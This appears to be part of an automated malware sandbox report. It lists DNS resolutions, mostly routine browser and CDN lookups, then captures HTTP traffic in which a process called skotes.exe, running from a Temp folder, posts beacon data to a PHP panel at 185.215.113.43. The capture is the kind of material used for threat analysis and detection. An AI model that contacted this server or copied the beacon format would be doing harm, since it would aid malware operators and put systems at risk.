Nov 23, 2024 03:21:54.314692974 CET	1.1.1.1	192.168.2.4	0xb35e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:21:54.314692974 CET	1.1.1.1	192.168.2.4	0xb35e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.459216118 CET	1.1.1.1	192.168.2.4	0xaa82	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.804454088 CET	1.1.1.1	192.168.2.4	0xb33b	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:21:54.804454088 CET	1.1.1.1	192.168.2.4	0xb33b	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:21:54.804454088 CET	1.1.1.1	192.168.2.4	0xb33b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.976025105 CET	1.1.1.1	192.168.2.4	0x5df1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:55.124526024 CET	1.1.1.1	192.168.2.4	0xc069	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 03:21:55.213426113 CET	1.1.1.1	192.168.2.4	0xfe8e	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:55.279247046 CET	1.1.1.1	192.168.2.4	0xf49	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:55.279247046 CET	1.1.1.1	192.168.2.4	0xf49	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:59.204598904 CET	1.1.1.1	192.168.2.4	0x1420	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:21:59.204598904 CET	1.1.1.1	192.168.2.4	0x1420	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:59.488291979 CET	1.1.1.1	192.168.2.4	0x9a2f	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:01.960489988 CET	1.1.1.1	192.168.2.4	0xd436	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:01.963278055 CET	1.1.1.1	192.168.2.4	0xae54	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 03:22:05.321599007 CET	1.1.1.1	192.168.2.4	0x1158	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:27.310477018 CET	1.1.1.1	192.168.2.4	0xbd64	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:27.313774109 CET	1.1.1.1	192.168.2.4	0xf852	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 03:22:30.291563988 CET	1.1.1.1	192.168.2.4	0x7384	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.313462973 CET	1.1.1.1	192.168.2.4	0xb9aa	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.313462973 CET	1.1.1.1	192.168.2.4	0xb9aa	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.384202957 CET	1.1.1.1	192.168.2.4	0x4c35	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.384202957 CET	1.1.1.1	192.168.2.4	0x4c35	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.384202957 CET	1.1.1.1	192.168.2.4	0x4c35	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:30.412782907 CET	1.1.1.1	192.168.2.4	0x9d13	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.412782907 CET	1.1.1.1	192.168.2.4	0x9d13	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.412782907 CET	1.1.1.1	192.168.2.4	0x9d13	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:30.412782907 CET	1.1.1.1	192.168.2.4	0x9d13	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:40.175789118 CET	1.1.1.1	192.168.2.4	0xf888	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:40.184253931 CET	1.1.1.1	192.168.2.4	0xc29e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:43.745050907 CET	1.1.1.1	192.168.2.4	0xb4f5	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:43.745050907 CET	1.1.1.1	192.168.2.4	0xb4f5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.829130888 CET	1.1.1.1	192.168.2.4	0x75cc	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.862020016 CET	1.1.1.1	192.168.2.4	0x4c7b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:43.862020016 CET	1.1.1.1	192.168.2.4	0x4c7b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.978379965 CET	1.1.1.1	192.168.2.4	0xdf1f	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.029845953 CET	1.1.1.1	192.168.2.4	0xede9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.073057890 CET	1.1.1.1	192.168.2.4	0x6c89	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.192637920 CET	1.1.1.1	192.168.2.4	0x99e0	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:44.192637920 CET	1.1.1.1	192.168.2.4	0x99e0	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.194947004 CET	1.1.1.1	192.168.2.4	0x96f3	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:44.194947004 CET	1.1.1.1	192.168.2.4	0x96f3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.220947027 CET	1.1.1.1	192.168.2.4	0x5347	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.229456902 CET	1.1.1.1	192.168.2.4	0x89c4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.335546017 CET	1.1.1.1	192.168.2.4	0x4331	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.363580942 CET	1.1.1.1	192.168.2.4	0x4765	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.587960005 CET	1.1.1.1	192.168.2.4	0xf320	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.631831884 CET	1.1.1.1	192.168.2.4	0x539b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:44.631831884 CET	1.1.1.1	192.168.2.4	0x539b	No error (0)	star-mini.c10r.facebook.com		157.240.195.35	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.665529966 CET	1.1.1.1	192.168.2.4	0x8a10	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:44.665529966 CET	1.1.1.1	192.168.2.4	0x8a10	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.735882044 CET	1.1.1.1	192.168.2.4	0x62fb	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.789443016 CET	1.1.1.1	192.168.2.4	0x4c7e	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.820957899 CET	1.1.1.1	192.168.2.4	0xf3f1	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.877682924 CET	1.1.1.1	192.168.2.4	0x89e8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 03:22:44.877682924 CET	1.1.1.1	192.168.2.4	0x89e8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 03:22:44.877682924 CET	1.1.1.1	192.168.2.4	0x89e8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 03:22:44.877682924 CET	1.1.1.1	192.168.2.4	0x89e8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 03:22:44.930305958 CET	1.1.1.1	192.168.2.4	0x2d1c	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 23, 2024 03:22:45.032593012 CET	1.1.1.1	192.168.2.4	0xe85d	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 23, 2024 03:22:45.043016911 CET	1.1.1.1	192.168.2.4	0x8251	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:45.043016911 CET	1.1.1.1	192.168.2.4	0x8251	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.043016911 CET	1.1.1.1	192.168.2.4	0x8251	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.043016911 CET	1.1.1.1	192.168.2.4	0x8251	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.043016911 CET	1.1.1.1	192.168.2.4	0x8251	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.082523108 CET	1.1.1.1	192.168.2.4	0xbc4e	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.246922970 CET	1.1.1.1	192.168.2.4	0x20dd	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.246922970 CET	1.1.1.1	192.168.2.4	0x20dd	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.246922970 CET	1.1.1.1	192.168.2.4	0x20dd	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.246922970 CET	1.1.1.1	192.168.2.4	0x20dd	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.247368097 CET	1.1.1.1	192.168.2.4	0x2fe2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:45.247368097 CET	1.1.1.1	192.168.2.4	0x2fe2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.258481026 CET	1.1.1.1	192.168.2.4	0x3f0e	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.258481026 CET	1.1.1.1	192.168.2.4	0x3f0e	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.258481026 CET	1.1.1.1	192.168.2.4	0x3f0e	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.258481026 CET	1.1.1.1	192.168.2.4	0x3f0e	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.599960089 CET	1.1.1.1	192.168.2.4	0xb7cc	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:47.559138060 CET	1.1.1.1	192.168.2.4	0x8fae	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:47.559138060 CET	1.1.1.1	192.168.2.4	0x8fae	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:22:47.559138060 CET	1.1.1.1	192.168.2.4	0x8fae	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:47.900734901 CET	1.1.1.1	192.168.2.4	0x7a7	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:47.922079086 CET	1.1.1.1	192.168.2.4	0x7a7	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.411464930 CET	1.1.1.1	192.168.2.4	0xcac0	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:13.411464930 CET	1.1.1.1	192.168.2.4	0xcac0	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.552139997 CET	1.1.1.1	192.168.2.4	0xe62f	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.562381029 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.562381029 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.562381029 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.562381029 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.626719952 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.626719952 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.626719952 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.626719952 CET	1.1.1.1	192.168.2.4	0x1145	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.703006983 CET	1.1.1.1	192.168.2.4	0x9ca5	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.703006983 CET	1.1.1.1	192.168.2.4	0x9ca5	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.703006983 CET	1.1.1.1	192.168.2.4	0x9ca5	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.703006983 CET	1.1.1.1	192.168.2.4	0x9ca5	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.841389894 CET	1.1.1.1	192.168.2.4	0x6edf	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 03:23:13.841389894 CET	1.1.1.1	192.168.2.4	0x6edf	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 03:23:13.841389894 CET	1.1.1.1	192.168.2.4	0x6edf	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 03:23:13.841389894 CET	1.1.1.1	192.168.2.4	0x6edf	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 03:23:14.934854984 CET	1.1.1.1	192.168.2.4	0x4196	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:14.934854984 CET	1.1.1.1	192.168.2.4	0x4196	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:14.934887886 CET	1.1.1.1	192.168.2.4	0x4196	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:14.934887886 CET	1.1.1.1	192.168.2.4	0x4196	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:17.030463934 CET	1.1.1.1	192.168.2.4	0x2b21	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:17.030463934 CET	1.1.1.1	192.168.2.4	0x2b21	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:17.030555010 CET	1.1.1.1	192.168.2.4	0x2b21	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:17.030555010 CET	1.1.1.1	192.168.2.4	0x2b21	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:23:42.842731953 CET	1.1.1.1	192.168.2.4	0xe9f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:24:05.392142057 CET	1.1.1.1	192.168.2.4	0xbc22	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:24:44.765619040 CET	1.1.1.1	192.168.2.4	0xf8fa	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:26.896116972 CET	1.1.1.1	192.168.2.4	0x4381	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:27.034370899 CET	1.1.1.1	192.168.2.4	0xe42a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:28.486021042 CET	1.1.1.1	192.168.2.4	0x97a4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:25:28.486021042 CET	1.1.1.1	192.168.2.4	0x97a4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:44.314974070 CET	1.1.1.1	192.168.2.4	0x661e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:26:40.073016882 CET	1.1.1.1	192.168.2.4	0xe850	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:26:40.173491955 CET	1.1.1.1	192.168.2.4	0x7267	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:27:34.652436018 CET	1.1.1.1	192.168.2.4	0x75fe	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:27:45.449341059 CET	1.1.1.1	192.168.2.4	0x6ff7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:27:45.449341059 CET	1.1.1.1	192.168.2.4	0x6ff7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:00.246403933 CET	1.1.1.1	192.168.2.4	0x307e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:28:00.246403933 CET	1.1.1.1	192.168.2.4	0x307e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:08.668096066 CET	1.1.1.1	192.168.2.4	0xcea2	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:08.805970907 CET	1.1.1.1	192.168.2.4	0x2f4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:03.994873047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:21:05.399404049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:07.028111935 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
